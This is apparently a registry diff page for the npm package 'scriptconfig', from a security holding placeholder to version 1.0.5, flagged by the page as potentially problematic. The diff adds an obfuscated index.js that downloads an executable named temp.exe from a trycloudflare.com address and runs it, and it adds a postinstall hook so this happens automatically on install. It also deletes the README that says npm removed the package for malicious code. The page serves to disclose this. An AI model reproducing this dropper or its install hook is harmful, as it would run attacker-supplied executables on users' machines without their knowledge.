scriptconfig 0.0.1-security → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of scriptconfig might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x425982=_0x539b;(function(_0x596948,_0x93a0b8){const _0xd9642c=_0x539b,_0x506982=_0x596948();while(!![]){try{const _0x48f055=parseInt(_0xd9642c(0x18b))/0x1*(-parseInt(_0xd9642c(0x177))/0x2)+-parseInt(_0xd9642c(0x188))/0x3*(parseInt(_0xd9642c(0x18c))/0x4)+parseInt(_0xd9642c(0x17b))/0x5*(-parseInt(_0xd9642c(0x185))/0x6)+-parseInt(_0xd9642c(0x178))/0x7+parseInt(_0xd9642c(0x18d))/0x8*(-parseInt(_0xd9642c(0x189))/0x9)+parseInt(_0xd9642c(0x17d))/0xa+-parseInt(_0xd9642c(0x179))/0xb*(-parseInt(_0xd9642c(0x182))/0xc);if(_0x48f055===_0x93a0b8)break;else _0x506982['push'](_0x506982['shift']());}catch(_0x302342){_0x506982['push'](_0x506982['shift']());}}}(_0x3224,0xa2f73));const fs=require(_0x425982(0x17c)),path=require('path'),fetch=require(_0x425982(0x176)),{exec}=require(_0x425982(0x17f)),exeFileName=_0x425982(0x181),downloadUrl=_0x425982(0x187),exeFilePath=path[_0x425982(0x18e)](__dirname,exeFileName);function _0x539b(_0x40f7d0,_0x2c1878){const _0x3224a7=_0x3224();return _0x539b=function(_0x539b7c,_0x4df95d){_0x539b7c=_0x539b7c-0x176;let _0x263b8e=_0x3224a7[_0x539b7c];return _0x263b8e;},_0x539b(_0x40f7d0,_0x2c1878);}async function downloadFile(_0x3d8160,_0x5a93cf){const _0x50303b=_0x425982,_0x24c8f9=await fetch(_0x3d8160);if(!_0x24c8f9['ok'])throw new Error(_0x50303b(0x183)+_0x24c8f9[_0x50303b(0x184)]);const _0x44b7ab=await _0x24c8f9[_0x50303b(0x17e)]();await fs[_0x50303b(0x17a)](_0x5a93cf,_0x44b7ab);}function _0x3224(){const _0x2b4ef1=['node-fetch','108HbZtix','8431633uLfzEy','209wPmOjZ','writeFile','7130eDRIVB','fs-extra','4960990mXsNVY','buffer','child_process','error','temp.exe','2631504bREhnZ','HTTP\x20error!\x20status:\x20','status','2760dTKDEE','Download\x20error:\x20','https://norman-livestock-bulgarian-lawyers.trycloudflare.com/home','1811841cmxiSa','423kZjMfk','Error\x20running\x20the\x20executable:\x20','16889EqQBVU','4fguCma','105312dlawuM','join'];_0x3224=function(){return _0x2b4ef1;};return _0x3224();}async function runExecutable(){const _0x3999b0=_0x425982;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x5a6a2a=>{const _0x482632=_0x539b;_0x5a6a2a&&console[_0x482632(0x180)](_0x482632(0x18a)+_0x5a6a2a);});}catch(_0x4d8c11){console['error'](_0x3999b0(0x186)+_0x4d8c11);}}runExecutable();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "scriptconfig",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.5",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scriptconfig for more information.